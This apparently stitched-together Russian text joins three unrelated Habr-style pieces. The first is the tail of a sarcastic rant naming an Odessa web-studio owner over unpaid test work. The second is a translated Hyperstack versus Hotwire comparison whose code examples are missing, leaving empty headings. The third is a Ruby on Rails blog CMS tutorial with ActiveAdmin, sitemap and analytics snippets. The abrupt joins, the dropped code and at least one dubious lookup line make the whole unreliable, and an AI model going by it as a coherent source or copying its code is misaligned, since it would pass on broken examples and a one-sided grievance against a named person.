Комментарии по большей части излишни. Кроме, разве что, следующей констатации: как видите, господа-товарищи, "работа" на том или ином коммерческом предприятии, руководитель которого исповедует принцип "у нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны"... не добавляет высокого литературного штиля автору этого рассказа, разумеется, но при случае приравняет профессиональную ценность любого из вас, дорогие мои друзья и коллеги - к стоимости черного живого товара контр-адмирала флота российского Павла Джонеса, которым тот весьма неплохо зарабатывал на жизнь в бурной своей молодости. "Тимлид", владелец и руководитель одесской веб-студии Kodo Labs Юра Омельчук попрощался настолько эффектно, что даже забыл предложить оплатить время, потраченное на работу анализ, запуск и тестирование своего кода; я уж молчу про то, что ни на один из заданных ему технических вопросов он не попытался ответить, ни одного аргумента в пользу своего мнения не привел. А это уже ничем не прикрытый моветон: по окончании любого профессионального тестирования принято озвучивать правильные ответы, приходилось ведь и мне когда-то поступать таким образом. Справедливости ради добавлю, на этот знаковый момент "ты уволен, и ты мне ничего не должен, бывай здоров" я обратил внимание своего незадачливого корреспондента, добавив на прощанье "плати, если хочешь", и подразумевая тем самым, что не стал бы настаивать на оплате, выиграв в карты у местных на одесском Привозе; правила игры, знаете ли, предопределяют, да не деньги и были. Результат предсказуем: "не хочу и не плачу", и вот на сей раз, не в пример прозвучавшему ранее, все действительно логично.

Вот интересно, кстати сказать. Как думаете, что сказал бы родом из Шотландии американский капер, если бы удостоившая его высочайшей аудиенции Екатерина II предложила, вкупе с контр-адмиральским патентом, аналог "оплаты на ИП"? - или, еще того лучше, "давайте без налогов, мой очаровательный капитан, зачем вмешивать государство в наши отношения? - оставьте нас, мсье Зубов, nous vous parlerons plus tard..." (почти что такую формулировку мне доводилось слышать, и неоднократно, от российских работодателей)? Может статься, и проканало б, а?- капер, он и есть капер, какая похер дым ему разница.

Из мачты не станет он делать гик, из рубки строить вельбот,

Фок-мачту взял и рубку украл янки, дьявольский род!

Я драться не мог: надвигалась тьма, и океан бушевал,

Я дал по нем выстрел - за грубый увод, и второй - за то, что он лгал...

Была мысль выложить на гитхабе (ну, уж коль скоро NDA "не дороже бумаги") rails-app, о котором речь, дабы рубисты-рельсовики на досуге глянули, чем так приглянулся одесситам pundit в контексте данного проекта; на мой субъективный взгляд, здесь он, хотя и безусловно возможен, но был бы все равно что интернет-мем Black Lives Matter во времена войны за независимость Североамериканских штатов, в бытность которой Джон Пол Джонс получил известность как капитан шлюпа Providence... хм, тоже ведь своего рода Team Leader, не правда ли. Но, пожалуй, это частность, малоинтересная крайне широкой сегодня аудитории российских любителей поэзии и прозы Редьярда Киплинга.

Эпилог и послесловие короткой строкой. Учитывая международную аудиторию Хабра, автору очень не хотелось бы, чтобы у читателей создалось впечатление бьющего аж через край патриотизма русскоязычного автора, во всю мочь разглагольствующего о черноморских баталиях эпохи русско-турецкой войны применительно к постсоветским невеселым реалиям. :) Нет, причиной здесь скорее ностальгия по горячо любимым им, несмотря ни на что, Севастополю и Херсонесу, где он не был... уже около семи лет.

Попробую приноровиться к хабру и залью сюда перевод статьи с другого своего ресурса.

Это весьма самоуверенное, но, надеюсь, честное и точное сравнение Hyperstack и Hotwire.

Прежде всего, что это за вещи?

Оба решения помогают затащить современный UI в Rails.

Оба завязаны на Websockets для получения уведомлений об изменении состояния.

Hyperstack

• Всё написано на Ruby (включая клиентский код)

• Под капотом используется React для построения UI с возможностью доступа к библиотекам React

• Легко поддерживает синхронизацию моделей Rails между UI и сервером. Зачастую без дополнительного кода

• Убирает необходимость написания контроллеров (но при желании можно продолжать их использовать)

• Отдает максимально возможное количество работы на сторону клиента

• Предоставляет мощный механизм контроля доступа к данным, построенный на политиках Pundit"

• Может использоваться в существующих Rails-приложениях

Hotwire

• Это следующий виток эволюции Rails Turbolinks

• Расширяет стандартную MVC систему Rails за счет передачи инкрементальных обновлений на уровень представления

• Использует традиционные Rails подходы

• Оставляет бльшую часть работы на стороне сервера, делая клиентскую часть очень лёгкой

• Устраняет большую часть JS-кода (но не весь), которую вам может потребоваться писать

• Поддерживается DHH и, предположительно, сообществом Rails

Чтобы бегло сравнить данные технологии, я обратился к простому приложению Tweet (https://gorails.com/episodes/hotwire-rails) и создал такое же на Hyperstack. На заметку: данный дизайн UI компонентов не моя идея, я позаимствовал код с минимально возможными изменениями.

Поскольку одна из основных целей Hyperstack состоит в уменьшении общего объема кода, начнём рассмотрение с числа строк. Сгененированные файлы и шаблоны, такие как layout и стили включать не будем, поскольку они совпадают.

Hyperstack - 78 lines vs Hotwire 156

Но строки - это еще не всё, какой инструмент будет легче в понимании и поддержке?

Рассмотрим, как каждый фреймворк реализует Tweet Card, отображающий твит и позволяет обновлять счетчики "лайков" и "ретвитов".

Hyperstack:

Hotwire:

Пока что оба приведенных участка кода очень похожи.

Hyperstack определяет React-компонент, берущий твит в качестве параметра, и формирует код на основании DSL. Этот DSL отражает нижележащую HTML-разметку с дополнительными компонентами в вашем приложении. Например EditTweet компонент, подключаемый в 11 строке.

Hotwire использует ERB для генерации HTML, используя ряд вспомогательных функций, таких как turbo_frame_tag и т. д.

Как и React, Hyperstack является декларативным и state-driven инструментом. Когда пользователь нажимает на кнопку изменить, устанавливается состояние editing, что в свою очередь заставляет компонент перерисовать и подключить EditTweet компонент (строка 14). EditTweet в свою очередь эмитит события save или cancel, оба из которых возвращают editing state в состояние false. Всё это определяется и исполняется на стороне клиента.

Цель же Hotwire заключается в реализации логики на сервере таким образом, что нажатие на Edit просто отправляет запрос на сервер, который выполняет обновление компонента.

Когда пользователь нажимает Like или Retweet, Hyperstack обрабатывает событие с помощью .on(:click), и просто зовет ActiveRecord increment! и обновляет счетчик твита. Под капотом Hyperstack занимается поддержанием локальной копии твита в синхронизированном с сервером состоянии и пересылает все изменения всем участвующим клиентам (браузерам)

Hotwire тем временем выполняет обновления счётчиков так же, как и edit функция: передаёт работу серверу и требует наличия когда, обрабатывающего это. И действительно, тут есть три контроллера, которые выполняют работу по обработке изменений твита:

Таким образом, не смотря на то, что код Hyperstack изначально был немного длиннее, пользовательский интерфейс это еще не вся история. И чтобы html.erb действительно заработал, необходимо ещё 70+ строк и что ещё хуже UI-логика оказывается размазана по четырём файлам.

Но мы ещё не закончили. В добавок к .erb файлу и контроллерам нам также необходимjson файл, который выполняет функции связующего API. К счастью, Hotwire поставляется с jbuilder, так что это всего лишь 2 строки когда, но его надо написать и поддерживать.

Погодите, мы ещё не закончили. Чтобы Hotwire знал, что ему необходимо разослать изменения клиентам, вам надо добавить три дополнительных колбэка (after_...) в twitter.rb

Мы закончили? Почти. Остался ещё один файл. Помните про контроллеры? Теперь к ним надо добавить роуты, а это еще 3 строки в другом файле. Честно говоря, Hyperstack тоже требует несколько строк (две если быть точным) в routes.rb, но они никогда не будут меняться в течении жизни приложения.

Прежде чем я продолжу, давайте посмотрим с другой стороны. Допустим у вас уже есть рабочее приложение, к которому вы хотите добавить кнопку Like

Что для этого нужно?

Во-первых в обоих фреймворках вам надо добавить атрибут в модель данных, создав и выполнив миграцию. (Рельсы!)

Далее для Hotwire необходимо:

• добавить ресурс в роуты

• добавить контроллер (как мы видели это 14 строк)

• не забыть обновить json, добавив в него новый атрибут

• и наконец добавить button_to тэг в _tweet.html.erb

Мы затронули четыре файла и добавили 16 строк кода, используя знания о шести подсистемах Rails - action controller, view helpers, jbuilder, active record и router - написали собственный код на Ruby, HTML и ERB.

Как выполняется та же задача на Hyperstack?

Как только закончили с миграциями надо добавить только:

BUTTON { "Likes (#{tweet.likes_count})" }.on(:click) { tweet.increment!(:likes_count) }

Для чего требуется только понимание функции active record increment! и HyperComponent DLS, что напрямую относится к выполняемой работе.

В чем подвох?

Подвоха нет, просто другие цели. Hyperstack строился для максимизации эффективности программиста и для передачи работы с сервера на сторону клиента. Он достигает целей используя один замечательный язык, опираясь на Rails и используя девиз Rails о convention over configuration для устранения ненужных шаблонов.

Заявленная цель Hotwire состоит в том, чтобы сохранить контроль за приложением на сервере и он достигает её ценой ценой усложнения поддержки и понимаемости приложения. Он также использует более консервативный подход в архитектуре приложения, вместо того, чтобы отказываться от контроллеров и заменять ERB файлы на собственный DSL. Он основан на проверенных и надёжных техниках Rails, который привычны многим разработчикам.

Некоторые другие соображения

Это маленькое упражнение, но оно позволяет увидеть как две разные системы выполняют свои задачи. Я считаю, что с Hotwire становится сложнее, с Hyperstack проще. Я не могу этого доказать, но как я уже сказал это самоуверенная статья.

Ещё одно соображение касательно ценности участия в экосистеме React. Фундаментальная архитектура React, как декларативной и "state-driven" системы, делает результирующий код невероятно простым для написания и понимания. Я считаю, что гораздо проще (разумеется, после того, как преодолел порог вхождения) создавать высокофункциональный и поддерживаемый код в декларативном стиле. Более того, существует множество готовых компонентов React для решения самых разнообразных задач, что ещё больше сокращает объём кода, который необходимо писать и поддерживать.

И последнее: о ценности разработки на одном языке. Многие не считают это существенным, а работу программиста с несколькими языками и системами - само собой разумеющимся. Но это не так. Постоянное переключение контекста заставляет программиста растрачивать ценную энергию и думать о деталях реализации, вместо того, чтобы думать о системе в целом. Нет ничего, что могло бы сделать один язык лучше для разработки пользовательского интерфейса, а другой - для серверной части. Есть инструменты для компиляции практически любого языка на любую платформу, так почему бы не выбрать один язык, который можно использовать в масштабах всей системы? И если вы собираетесь выбрать язык, то Ruby трудно превзойти.

Оригинал: Hyperstack vs Hotwire от 26 февраля 2021 года. Автор: @catprint aka Mitch VanDuyn

От переводчика

Мы решили выбрать эту статью для того, чтобы осветить различные современные течения во фронтендной части Rails. Мы не определились до конца с подобными инструментами, однако на нескольких проектах начали использовать Stimulus и двигаемся в сторону Hotwire.

Рунет производит на меня (и не только в контексте веб-программирования) крайне противоречивое впечатление. Возможно, так и должно быть, типа "Нью-Йорк - город контрастов"? - по крайней мере, та полупрофессиональная и пестрая интернет-тусовка, к которой обычно приходят новички, мечтающие выучиться на веб-программиста. Говоря словами героя пьесы Евгения Шварца - "очень трудно будет все это распутать, разобрать и привести в порядок так, чтобы не повредить ничему живому"... да, но пытаться-то ведь все равно надо. "На этом стоит мир", говоря словами все того же персонажа (Ученый из "Тени").

Параноидальные ощущения настигли, когда я впервые прочел расхожую фразу о том, что "на джумле сайты делает только полный лошара"; они несколько усугубились, когда админы программистских форумов с покровительственной и мудрой улыбкой-смайликом все повидавших гуру начали уверять меня в том, что блог на Ruby in Rails они-де никому делать не посоветуют, "не надо"... ну, а дальше пошло-поехало. У вордпресса, как выяснилось, "даже приличного API нет, так уж исторически сложилось", да и вообще, "на CMS что-либо делать бессмысленно, грузят систему", и на любых "хреньворках" так же. Ruby, дескать, давно и прочно dead, а вот "создадим вам мега-портал на ультрасовременной платформе Битрикс" - это в тренде, это завсегда пожалуйста. "В команду профессиональных программистов, пишущих уникальный Artificial Intelligence на базе Neural Network срочно требуются middle- и senior- PHP-программисты" также надолго отложилось в памяти.

Интересно, насколько отчетливо программисты Google представляют себе существование в живой природе такого языка программирования, PHP?

Своеобразным итогом моего импровизированного исследования стало интернет-знакомство с гениальным программистом, пишущим "в облаке Google" удивительную нейронную сеть, предназначенную для медицинских исследований будущего... при попытке обнаружить в гитхабе новоявленного инженера ГаГарина хоть какие-то наброски нетленного творения - автор сего спича сумел найти там лишь парочку электронных книг по программированию для начинающих, плюс безграмотный скрипт, написанный рукой школьника, и на этом пришлось закончить. Впрочем, картинка к тому времени уже почти сложилась...

В качестве резюме не самых веселых размышлений стало написание на основе фреймворка Ruby on Rails некоего скрипта, вполне подходящего под определение CMS, кодом которого и хочу сегодня поделиться на страницах Хабра с вами. Шуточный заголовок "Joomla on Rails" призван передать горячее желание автора написать что-то вполне удобное, удобоваримое и функциональное, в пику расхожему слогану "не делайте блогов на рельсах"; также в очередной раз порекламировать отличный конструктор для профессиональных веб-программистов, коим по праву можно назвать фреймворк Ruby on Rails.

Примеры такого рода статей / туториалов имеют место быть в Сети, разумеется, но у этого материала будет с ними критичное отличие. Заключающееся в том, что уровень сложности и, соответственно, реализованный функционал окажется значительно выше, чем во многих известных и популярных примерах... нет, ну а зачем повторять то, что уже было. Перечень свойств блога в общих чертах (на данный момент) я бы описал вот так:

• Удобная панель администрирования сайта

• Баннерная реклама с геотаргетингом

• Текстовый редактор

• Встроенная аналитика посещений

• Категории

• Статьи

• Настраиваемая пагинация списка статей и тегов

• Контактная форма AJAX

• Комментарии AJAX

• Премодерация комментариев по-умолчанию

• Уведомления о новых комментариях по электронной почте

• Возможность хранить изображения в base64, также с использованием Active Storage (локальное хранилище либо AWS S3)

• Предварительный просмотр изображения (various preview options can be passed to the Active Storage variant method)

• Теги

• Мета-теги

• Погода по IP на карте Google

• RSS

• User-Friendly URLs

• Sitemap

• SlideShow

• Lightbox

• JavaScript Time Greeting

К сожалению, нет возможности в рамках одной статьи описать step-by-step процесс кодинга, получилось бы неоправданно много текста. Ограничусь тем, что кратко расскажу о нескольких основных моментах и опубликую ссылки на гитхаб и полнофункциональную демку... буде дополнительно возникнут вопросы - разумеется, по мере сил отвечу. Поехали.

Итак. В качестве дизайна использован бесплатный шаблон на основе Bootstrap 4, иконки FontAwesome5, вездесущий jQuery и новый (по-дефолту в Ruby on Rails 6) стандарт сборки фронтенда Webpacker:

# package.json{  "name": "blog",  "private": true,  "dependencies": {    "@rails/actioncable": "^6.1.3-1",    "@rails/activestorage": "^6.1.3-1",    "@rails/ujs": "^6.1.3-1",    "@rails/webpacker": "5.4.0",    "bootstrap": "^4.6.0",    "jquery": "^3.6.0",    "popper.js": "^1.16.1",    "turbolinks": "^5.2.0"  },  "version": "0.1.0",  "devDependencies": {    "webpack-dev-server": "^3.11.2"  }}

В основу формы публикации материалов положен следующий принцип: первые 5 из них отображаются в топ-меню, линки к остальным (и к первым пяти тоже) доступны на главной странице, включена пагинация. Опции которой всегда доступны для редактирования в конфиге kaminari:

# config/initializers/kaminari_config.rbKaminari.configure do |config|  config.default_per_page = 5  # config.max_per_page = nil  # config.window = 4  # config.outer_window = 0  # config.left = 0  # config.right = 0  # config.page_method_name = :page  # config.param_name = :page  # config.max_pages = nil  # config.params_on_first_page = falseend

Чуть забегая вперед, добавлю, что пагинация включена также для перечня материалов категории и тегов. И - сразу переходим к горячо любимому всеми социальными группами интернета SEO:

Метатеги. При написании очередного материала вы имеете возможность, см. скриншот выше, создать description и keywords метатеги, и метатег description при создании категории. Разумеется, все это может быть в любой момент отредактировано либо сделано позже; к слову, любую статью блога необходимо привязать к той или иной категории, но вот публиковать ли категорию или нет - дело сугубо ваше, материал будет доступен для чтения в любом случае. Что касается метатега title, он будет сформирован автоматически, по принципу <Имя блога> | <Название статьи>, причем имя блога единожды определено в application.html.erb:

# app/views/layouts/application.html.erb<head>  <%= display_meta_tags site: 'My Blog on Rails' %></head>

Так происходит для всех страниц статей и страниц категорий, на других динамически формируемых страницах (странички тегов, например) title и description (keywords в данном случае без надобности, но, при желании, возможно включить и его) окажутся сформированы исходя из метода, доступного для редактирования в контроллере:

# app/controllers/application_controller.rbdef metatags  set_meta_tags title: 'Building a Blog with Ruby on Rails',  description: 'Your Guide To Content Management System For Ruby on Rails'end

Собственно говоря, достаточно определить в том или ином контроллере @page_title и @page_description (например), чтобы тут же получить эти метатеги на страничке, при этом вносить изменения в HTML не потребуется... это и есть, так сказать, магия Ruby on Rails.

Доступны для использования следующие методы:

<% title 'Member Login' %><% description 'Member login page.' %><% keywords 'Site, Login, Members' %><% nofollow %><% noindex %><% refresh 3 %>

, но не только; вы можете использовать :canonical, :og (Open Graph), :twitter и другие. Подробнее на страничке kpumuk/meta-tags.

Sitemap, карта сайта. Чтобы сформировать в директории public архив sitemap.xml.gz (или обновить, ввиду публикации нового контента), достаточно запустить в консоли эту команду:

rails sitemap:refresh

При этом Google и Bing будут уведомлены о доступности новой карты сайта. Возможно и добавление в ping иных поисковых систем, подробнее см. описание gem 'sitemap_generator', использованного для реализации sitemap блога. Возможен, разумеется, и автоматический, из крона запуск по расписанию обновления карты сайта; при использовании Whenever синтаксис способен выглядеть совсем несложно:

# config/schedule.rbevery 1.day, :at => '5:00 am' do  rake "-s sitemap:refresh"end

Помимо динамически созданных страниц, включаем в карту сайта и парочку статических (на демке это Analytics и Contacts):

# config/sitemap.rbSitemapGenerator::Sitemap.default_host = ENV['DOMAIN_NAME']SitemapGenerator::Sitemap.create do  Post.find_each do |content|    add post_path(content), :lastmod => content.updated_at  end  add analytics_path, :priority => 0.5, :changefreq => 'weekly'  add contacts_path, :priority => 0.5, :changefreq => 'weekly'end

Путь к карте сайта прописан в robots.txt. Те, кто решит потестировать этот блог на рельсах - не забудьте изменить название домена:

# public/robots.txtUser-agent: *Disallow:Sitemap: http://mstp.herokuapp.com/sitemap.xml.gz

Все превью изображений постов и категорий кликабельны, по клику открываются в лайтбоксе. Кроме того, Active Storage variants позволяет указать фильтры, чем мы и воспользуемся, определив kuwahara для статей и/или monochrome для категорий:

  def preview_post(i)    if i.images.attached? && !current_page?(root_path)      tag.div class: 'preview' do        link_to i.images.first, 'data-lightbox' => 'preview' do          image_tag i.images.first.variant(            resize_to_fill: [400, 300], kuwahara: '3%'          )        end      end    end  end

Тегирование. При формировании или редактировании материала вы имеете возможность указать (снова см. скриншот выше) теги, через запятую.

Сразу подчеркну, в данном случае использование acts-as-taggable-on далеко не исчерпывает весь заложенный автором джема функционал. Нет, относительно тегирования задачи у меня были самые скромные: теги создаются в Active Admin при создании статьи либо на вкладке Tags (там же могут быть и удалены/отредактированы в дальнейшем), и отображаются на фронте блога, на страничке материала в нижней его части вкупе с цифрой, характеризующей количество статей, отмеченных данным тегом. Каждый тег кликабелен, по клику отображается динамически формируемая страничка тега с также кликабельным перечнем заголовков статей.

Показываем теги в статьях:

# posts_controller  def show    @post = Post.find(params[:id])  end# app/views/posts/show.html.erb<% @post.tag_list.each do |tag| %><%= tags(tag) %><% end %># helper  def tags(tag)    link_to (tag.to_s +      ' (' +      Post.tagged_with(tag).count.to_s +      ')'),            tag_url(tag),            class: 'badge badge-secondary'  end

Формируем страничку тега с перечнем статей:

# tags_controller.rb  def show    @posts = Post.tagged_with(params[:id])  end# app/views/tags/show.html.erb<% @posts.each do |i| %>    <%= link_to i.title, {controller: "posts", action: "show", id: i.id} %><% end %>

Не забываем про маршруты. Например, как-то так:

# routes.rbresources :posts do resources :commentsendresources :tags, only: [:show]

Пожалуй, уже многовато кода, да? ОК, далее постараюсь, насколько смогу, урезаться... программисты и без того разберутся, для остальных же и так и эдак не имеет смысла, вы правы.

SEO-Friendly URLs, дружелюбные / человекопонятные адреса ЧПУ страниц. Url страницы формируется исходя из заголовка, кириллица при этом автоматически транслитерируется в латиницу. Это касается статей и категорий:

# Gemfilegem 'friendly_id', '~> 5.4.0'gem 'babosa'

RSS. Этот Blog on Rails автоматически формирует валидную RSS-ленту, доступную (иконка bootstrap 4) на всех страницах сайта. Несколько портят впечатление длинные коды изображений, сохраненных в base64. Дело в том, что данная CMS изначально ориентирована на хостинг (облачная PaaS-платформа) Heroku, с его хитроумной виртуальной файловой системой, отсюда и base64. Не представляет большой сложности, к слову, при работе в используемом редакторе - Quill Editor - сохранение изображений классическим способом, кому оно надо - велкам на страничку джема за инструкциями по установке ImageUploader plugin. Но, возможно, вы удовлетворитесь уже реализованной возможностью альтернативной загрузки изображений на сервера Amazon S3? Подробнее о процедуре подобной реализации в этом материале.

Остановлюсь на слайдере, который может быть включен на главной (и не только) странице. Регистрируем слайдер в ActiveAdmin, на основе которого построена административная панель блога:

ActiveAdmin.register Slider do  permit_params :published_at, :name, images: []  scope :all  scope :published  scope :unpublished  action_item :publish, only: :show do    link_to 'Publish', publish_admin_slider_path(slider), method: :put unless slider.published_at?  end  action_item :unpublish, only: :show do    link_to 'Unpublish', unpublish_admin_slider_path(slider), method: :put if slider.published_at?  end  action_item :delete_images, only: :show do    link_to 'Delete Images', delete_images_admin_slider_path(slider), method: :delete if slider.images.attached?  end  member_action :publish, method: :put do    slider = Slider.find(params[:id])    slider.update(published_at: Time.zone.now)    redirect_to admin_slider_path(slider)  end  member_action :unpublish, method: :put do    slider = Slider.find(params[:id])    slider.update(published_at: nil)    redirect_to admin_slider_path(slider)  end  member_action :delete_images, method: :delete do    slider = Slider.find(params[:id])    slider.images.purge_later    redirect_to admin_slider_path(slider)  end  form do |f|    f.inputs 'Slider' do      f.input :name      f.input :images, as: :file, input_html: { multiple: true }    end    f.actions  end  show do |t|    attributes_table do      if t.images.attached?          t.images.each do |img|            span do              image_tag img.variant(resize_to_limit: [100, 100])            end          end      end      row :name      row :created_at      row :updated_at      row :published_at    end  endend

Хм, а если необходимо удалить не все приаттаченные изображения разом, а только одно из них; либо же два - три? - чаще всего так ведь и бывает, ряд изображений меняем на новые, что-то оставляем на месте.

Ну вот как-то так, например. Вполне рабочий вариант, хотя и незамысловатый. Удаление одной иллюстрации по клику на пиктограмме, что и требовалось:

  member_action :delete_image, method: :delete do    slider = Slider.find_by(params[:name])    slider.images[params[:id].to_i].purge_later    redirect_to admin_slider_path(slider)  end  if t.images.attached?     t.images.each_with_index do |img, index|        span do          link_to delete_image_admin_slider_path(index), method: :delete do              image_tag img.variant(resize_to_limit: [100, 100])           end         end      end   end

В качестве редактора текста попробуем использовать Quill Rich Text Editor (gem 'activeadmin_quill_editor'), инициализировав следующим образом (покажу всю вкладку ввода материала):

  form do |f|    f.inputs 'Article' do      f.input :category      f.input :tag_list, input_html: { value: f.object.tag_list.join(', ') }, label: 'Tags (separated by commas)'      f.input :title, label: 'Title (70 characters maximum)'      f.input :description, label: 'Description (160 characters maximum)'      f.input :keywords, label: 'Keywords (5 - 10 words)'      f.input :text, as: :quill_editor, input_html: { data:        { options:          { modules:            { toolbar:              [%w[bold italic underline strike],               %w[blockquote code-block],               [{ 'list': 'ordered' }, { 'list': 'bullet' }],               [{ 'align': [] }],               ['link'],               [{ 'size': ['small', false, 'large', 'huge'] }],               [{ 'header': [1, 2, 3, 4, 5, 6, false] }],               [{ 'indent': '-1' }, { 'indent': '+1' }],               [{ 'direction': 'rtl' }],               [{ 'color': [] }, { 'background': [] }],               [{ 'font': [] }],               ['clean'],               ['image'],               ['video']] },            theme: 'snow' } } }, label: 'The content of the article'      f.input :images, as: :file, input_html: { multiple: true }, label: 'Add illustrations to the article'    end    f.actions  end

Результат таков, как на скриншоте в начале статьи.

Напоследок упомяну, что в качестве статистики визитов сделана попытка отказаться от Google Analytics и Яндекс Метрика, и использовать Ahoy - Simple, powerful, first-party analytics for Rails. Не бог весть что, конечно, но для многих сайтовладельцев подобного решения более чем достаточно (сеошники, погодите скрипеть зубами). В качестве примера - страничка аналитики, куда в целях демонстрации выведено четыре чарта, отображающих данные посещений последней недели из базы данных.

Формируем статистику по странам:

@locations = Ahoy::Visit.all.group(:country).count

, заменяя, при необходимости, nil на строку:

@locations = Ahoy::Visit.all.group(:country).count.map { |k, v| [k ||= 'undefined', v] }

Все то же самое относительно группировки по городам:

Ahoy::Visit.all.group(:city).count

, ну, или как посчитаете нужным; следующие фрагменты кода прояснят ситуацию:

@visits = Ahoy::Visit.all@events = Ahoy::Event.all<% @visits.each do |visit| %>  Visit Number: <%= visit.id %><br>  Visit Token: <%= visit.visit_token %><br>  Visitor Token: <%= visit.visitor_token %><br>  IP: <%= visit.ip %><br>  User Agent: <%= visit.user_agent %><br>  Referrer: <%= visit.referrer %><br>  Referring domain: <%= visit.referring_domain %><br>  Device Type: <%= visit.device_type %><br>  Country: <%= visit.country %><br>  Region: <%= visit.region %><br>  City: <%= visit.city %><br>  Latitude: <%= visit.latitude %><br>  Longitude: <%= visit.longitude %><br>  User ID: <%= visit.user_id %><br><% end %>

Учтите, веб-аналитика Ahoy способна учитывать довольно многое, вплоть до кликов и переходов по ссылкам. Рекомендую.

Ну и, разумеется, в свой блог на рельсах вы сможете добавлять любые фичи, которые посчитаете нужным. Я, например, добавил отображение картинок в верхней части сайта в зависимости от геотергетинга посетителя блога, использовав механизм определения местоположения по IP все того же Ahoy. Вот как-то так:

class GetImages  def self.get_random_banner(country)    x = get_country(country)    File.join('/images', x, Dir.children(File.join(Rails.root, 'public', 'images', x)).sample)  end  def self.get_country(country)    if dir_names.include? country      country    else      'other'    end  end  def self.dir_names    target_folder_path = File.join(Rails.root, 'public', 'images')    Dir.children(target_folder_path)  endend

...впрочем, всегда возможны варианты. Enjoy! :)

P.S. Установка и использование этого блога не требуют ни знания Ruby / Rails / PostgreSQL, ни вообще умения с ними обращаться, ни даже их наличия на вашем ПК. Вам понадобятся всего только установленный git, ну и еще бесплатный аккаунт на Heroku, + зарегистрировать акк на AWS (будет работать бесплатно, или почти бесплатно, в течение года). Просто следуйте инструкциям ReadMe гитхаба, ссылка в начале статьи.

Буду рад, если отпишитесь о впечатлениях.